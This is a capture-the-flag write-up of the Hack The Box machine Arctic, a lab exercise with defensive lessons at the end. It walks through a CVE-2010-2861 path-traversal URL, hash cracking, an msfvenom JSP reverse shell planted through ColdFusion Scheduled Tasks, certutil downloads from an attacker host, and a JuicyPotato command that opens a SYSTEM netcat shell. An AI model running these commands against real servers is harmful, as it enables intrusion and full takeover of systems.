root@thehacksparrow:~/writeups$ SYSTEM ONLINE
· log in sign up
← back to HackTheBox writeups
root@sparrow:~/writeups$ cat arctic.md
// writeups

Arctic

22 Mar 2017 · 11 min read
writeupshacktheboxwindowsEasyretiredvip
Arctic - maquina de Hack The Box

Executive summary — Arctic is an Easy Windows box built around a legacy install of Adobe ColdFusion 8: a path traversal with a null byte (CVE-2010-2861) reads the admin panel's properties file and hands us the admin password hash. After cracking it we log into the panel and abuse a legitimate feature —Scheduled Tasks— to write and run a JSP shell in the webroot (RCE with no exploit involved). The resulting service account holds SeImpersonate, so we escalate to NT AUTHORITY\SYSTEM with JuicyPotato. A ColdFusion (path traversal) → admin panel → Scheduled Tasks (RCE) → JuicyPotato → SYSTEM path.

PlatformHack The Box
Operating systemWindows
DifficultyEasy
StatusRetired
Target IP10.129.22.154

Attack map

[8500] Adobe ColdFusion 8 (CFIDE/administrator)
   │  CVE-2010-2861 — path traversal + null byte → read
   │  ColdFusion8/lib/password.properties (admin hash)
   │  crack the hash → admin:happyday
   ▼
[PANEL] Log into /CFIDE/administrator/ → abuse Scheduled Tasks
   │  task "pwn2" downloads shell.jsp and saves it to
   │  C:\ColdFusion8\wwwroot\shell.jsp
   ▼
[RCE] Visit /shell.jsp → reverse shell arctic\tolis (user.txt)
   │  whoami /priv → SeImpersonate context
   ▼
[SYSTEM] JuicyPotato (CreateProcessWithTokenW) → nt authority\system (root.txt)

1. Port reconnaissance

As always, we start with a full TCP port sweep so no non-standard service slips past:

nmap -p- --open -sS --min-rate 5000 -n -Pn 10.129.22.154 -oG openPorts

-p- scans all 65535 ports, --open shows only open ones, -sS runs a SYN scan, --min-rate 5000 speeds up packet sending, -n skips DNS resolution and -Pn treats the host as up without prior ICMP discovery (Arctic doesn't respond to ping).

135/tcp    open  msrpc
8500/tcp   open  fmtp?
49154/tcp  open  msrpc

With the open ports identified, we run a version/default-script scan against just those:

nmap -sC -sV -p 135,8500,49154 10.129.22.154 -oN target

The odd port: Nmap can't confidently fingerprint the service on 8500 (tags it as fmtp?). A web service with no clear fingerprint that responds slowly is usually a heavyweight enterprise app — here, Adobe ColdFusion.

2. Web enumeration

We browse to http://10.129.22.154:8500. The page loads with noticeable latency, typical of a ColdFusion server warming up. Exploring the exposed paths turns up directories and references specific to Adobe ColdFusion 8, a technology with a long history of critical vulnerabilities. We try the admin panel path directly:

http://10.129.22.154:8500/CFIDE/administrator/

Sure enough, the ColdFusion 8 admin panel login shows up.

3. Looking for known vulnerabilities

We search for public exploits against this version:

searchsploit adobe coldfusion

Among the results, Adobe ColdFusion — Directory Traversal stands out, tracked as CVE-2010-2861: a path traversal in several .cfm endpoints of the panel that reads arbitrary server files. The obvious target is ColdFusion8/lib/password.properties, where ColdFusion stores the hash of the admin panel's own password.

4. Exploiting the path traversal

http://10.129.22.154:8500/CFIDE/administrator/enter.cfm?locale=../../../../../../../../../../ColdFusion8/lib/password.properties%00en

Why it works: the locale parameter is concatenated, unsanitised, onto a language-file path on the server. The repeated ../ climbs up to the disk root, and the null byte (%00en) truncates the .properties extension the code appends afterwards — a classic trick against old C-based validation that stops reading a string at the null byte.

The server returns the full file contents, including the admin password hash:

password=<admin password hash>

5. Cracking the hash and logging into the panel

ColdFusion 8 stores this password as an unsalted SHA1 hash (a documented default of this version). We save it and attack it with a wordlist:

nano hash.txt   # paste the extracted hash
hashcat -m 100 hash.txt /usr/share/wordlists/rockyou.txt

The plaintext password turns out to be:

happyday

With it we log into http://10.129.22.154:8500/CFIDE/administrator/ as admin:happyday.

From here on we're not exploiting any ColdFusion bug: we have legitimate administrative access to the panel, and we're going to abuse one of its normal features to get code execution.

6. Building the JSP reverse shell

ColdFusion runs on a JVM and serves .jsp pages alongside .cfm ones. We generate a JSP reverse-shell payload on our Kali box:

msfvenom -p java/jsp_shell_reverse_tcp LHOST=<ATTACKER_IP> LPORT=4444 -f raw > shell.jsp

We serve it over HTTP and leave a listener waiting for the callback:

python3 -m http.server 8000
nc -lvnp 4444

7. RCE by abusing Scheduled Tasks

The ColdFusion panel ships with Scheduled Tasks: jobs that make an HTTP request to a configurable URL and, optionally, save the response as a file on disk. That's exactly the primitive we need: we ask it to fetch our shell.jsp from Kali and write it inside ColdFusion's webroot, turning a legitimate admin feature into an arbitrary file write that, since it's a .jsp dropped into an executable directory, amounts to RCE.

We create the task (Scheduled Tasks → Schedule New Task) with these values:

FieldValue
Task Namepwn2
URLhttp://<ATTACKER_IP>:8000/shell.jsp
Save output to fileC:\ColdFusion8\wwwroot\shell.jsp

Mind the save path: trying to write inside CFIDE\... caused path/404 issues when serving the file back afterwards. The path that worked end to end was the direct webroot, C:\ColdFusion8\wwwroot\shell.jsp.

We save the task, go back to the task list and run it manually. The terminal running python3 -m http.server 8000 confirms the victim fetched the file:

GET /shell.jsp HTTP/1.1

8. Triggering the shell and grabbing the user flag

With shell.jsp now sitting in the webroot, visiting it over HTTP is enough for ColdFusion to interpret it and run the payload:

http://10.129.22.154:8500/shell.jsp

The netcat listener catches the callback:

whoami
arctic\tolis
cd C:\Users\tolis\Desktop
type user.txt

9. Privilege escalation — JuicyPotato

We check the privileges of the service account running ColdFusion:

whoami /priv

Restricted shells don't always list every privilege clearly through whoami /priv, but on this Windows Server 2008 R2 box the account running ColdFusion holds SeImpersonatePrivilege, the classic entry point for *Potato-style attacks: they get a SYSTEM token by tricking a local COM/RPC service into authenticating against a fake server under our control.

We download JuicyPotato and a static Windows x64 netcat build on Kali:

wget https://github.com/ohpe/juicy-potato/releases/download/v0.1/JuicyPotato.exe

(nc64.exe is fetched the same way, any static x64 netcat build works.) We serve both over HTTP:

python3 -m http.server 8000

On the victim shell we create a working directory and pull both binaries down with certutil, a native Windows LOLBin that avoids relying on PowerShell:

cd C:\Windows\Temp
mkdir pwn
cd pwn
certutil -urlcache -split -f http://<ATTACKER_IP>:8000/JuicyPotato.exe JuicyPotato.exe
certutil -urlcache -split -f http://<ATTACKER_IP>:8000/nc64.exe nc64.exe
dir

We open a second listener for the privileged shell and run JuicyPotato:

nc -lvnp 5555
JuicyPotato.exe -t * -l 1337 -p C:\Windows\System32\cmd.exe -a "/c C:\Windows\Temp\pwn\nc64.exe -e cmd <ATTACKER_IP> 5555"

-t * tries both process-creation methods (CreateProcessWithTokenW/CreateProcessAsUser), -l 1337 is the port where JuicyPotato spins up its fake local COM server, and -p/-a define the program and arguments launched with the stolen token. The victim's local console confirms the token hijack:

[+] authresult 0
[+] CreateProcessWithTokenW OK

And the listener on port 5555 catches a brand-new shell:

whoami
nt authority\system

10. Root flag

cd C:\Users\Administrator\Desktop
type root.txt

System fully compromised. 🏴‍☠️

Vulnerability summary

PhaseComponentVulnerabilityImpact
Info leakAdobe ColdFusion 8 (/CFIDE/administrator)CVE-2010-2861 — path traversal + null byteReads password.properties (admin hash)
FootholdColdFusion admin panel (Scheduled Tasks)Download+save feature abused as arbitrary file writeRCE (JSP) as arctic\tolis
PrivEscWindows Server 2008 R2 (service account)SeImpersonatePrivilege → JuicyPotatoNT AUTHORITY\SYSTEM

Lessons learned

  • Path traversal + null byte in legacy software (ColdFusion 8) reads critical server files through nothing more than an unsanitised locale parameter. Patch and update the CMS.
  • Don't store admin credentials as reversible hashes in files reachable via traversal — let alone unsalted ones.
  • Any «scheduled task» feature that downloads and writes files is an RCE primitive once an attacker reaches the panel — audit what an «application» admin account can actually do, not just the OS account.
  • SeImpersonatePrivilege is effectively SYSTEM in practice (JuicyPotato/RottenPotato/PrintSpoofer). Always check whoami /priv after the first foothold.
  • Segment service accounts: the ColdFusion service shouldn't run with enough privilege to impersonate system tokens.